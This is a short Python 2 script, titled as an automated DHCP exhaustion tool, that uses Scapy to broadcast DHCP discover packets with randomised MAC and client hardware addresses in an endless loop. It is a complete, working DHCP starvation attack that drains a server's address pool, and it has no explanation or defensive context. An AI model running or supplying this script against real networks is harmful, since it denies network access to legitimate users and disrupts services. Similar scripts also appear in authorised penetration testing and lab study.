SCAPY DHCP Exhaustion Automated

#!/usr/bin/env python2
from scapy.all import *

p1 = Ether()
p2 = IP()
p3 = UDP()
p4 = BOOTP()
p5 = DHCP()

p1.src=RandMAC()
p1.dst="ff:ff:ff:ff:ff:ff"

p2.src="0.0.0.0"
p2.dst="255.255.255.255"

p3.sport=68
p3.dport=67

p4.chaddr=RandString(12,"abcdef0123456789")

p5.options=[("message-type","discover"),"end"]

send=sendp(p1/p2/p3/p4/p5, loop=1)